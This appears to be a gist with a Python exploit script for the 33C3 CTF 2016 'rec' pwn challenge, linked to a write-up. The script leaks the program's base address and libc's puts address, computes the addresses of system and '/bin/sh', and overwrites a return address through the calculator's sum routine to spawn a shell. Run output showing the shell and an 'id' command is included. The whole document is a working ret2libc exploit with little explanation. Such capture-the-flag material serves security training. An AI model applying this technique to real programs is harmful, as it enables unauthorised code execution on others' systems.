Created
January 2, 2017 09:04
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33C3 CTF rec (Pwn 200) / http://bruce30262.logdown.com/posts/1256252-33c3-ctf-2016-rec
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$ python rec.py | |
[+] bin_base = 56580000 | |
[+] libc_puts = f759f140 | |
[+] libc_system = f757a940 | |
[+] libc_binsh = f7698e8b | |
[+] got a shell! | |
id | |
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),999(docker) |
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from minipwn import * | |
def read_note(s): | |
recvuntil(s, '> ') | |
sendline(s, '1') | |
recvuntil(s, 'Your note: ') | |
note = recvline(s) | |
return note | |
def polish_sum(s, operands): | |
recvuntil(s, '> ') | |
sendline(s, '2') | |
recvuntil(s, 'Operator: ') | |
sendline(s, 'S') | |
for operand in operands: | |
recvuntil(s, 'Operand: ') | |
sendline(s, str(operand)) | |
recvuntil(s, 'Operand: ') | |
sendline(s, '.') | |
recvuntil(s, 'Sum: ') | |
_sum = recvline(s) | |
return int(_sum) | |
def sign(s, value): | |
recvuntil(s, '> ') | |
sendline(s, '5') | |
sendline(s, str(value)) | |
s = connect_process(['./rec_7743d76881fe811335ca25d8b0a3c5f54a21e2f1']) | |
#raw_input() | |
note = read_note(s) | |
bin_base = u32(note[4:8]) - 0x6fb | |
print "[+] bin_base = %x" % bin_base | |
plt_puts = bin_base + 0x520 | |
got_puts = bin_base + 0x2fd8 | |
values = range(0x63) + [plt_puts, got_puts] | |
polish_sum(s, values) | |
sign(s, 0) | |
""" | |
$ nm -D /lib32/libc.so.6 | grep -e puts$ -e system$ | |
0005f140 W puts | |
0003a940 W system | |
$ strings -tx /lib32/libc.so.6 | grep /bin/sh | |
158e8b /bin/sh | |
""" | |
data = recvline(s) | |
libc_puts = u32(data[:4]) | |
print "[+] libc_puts = %x" % libc_puts | |
libc_system = libc_puts - 0x0005f140 + 0x0003a940 | |
libc_binsh = libc_puts - 0x0005f140 + 0x158e8b | |
print "[+] libc_system = %x" % libc_system | |
print "[+] libc_binsh = %x" % libc_binsh | |
def u2s(x): | |
"""unsigned int to signed int""" | |
s = struct.pack('<I', x) | |
return struct.unpack('<i', s)[0] | |
values = range(0x63) + [u2s(libc_system), u2s(libc_binsh)] | |
polish_sum(s, values) | |
sign(s, 0) | |
print "[+] got a shell!" | |
interact(s) |
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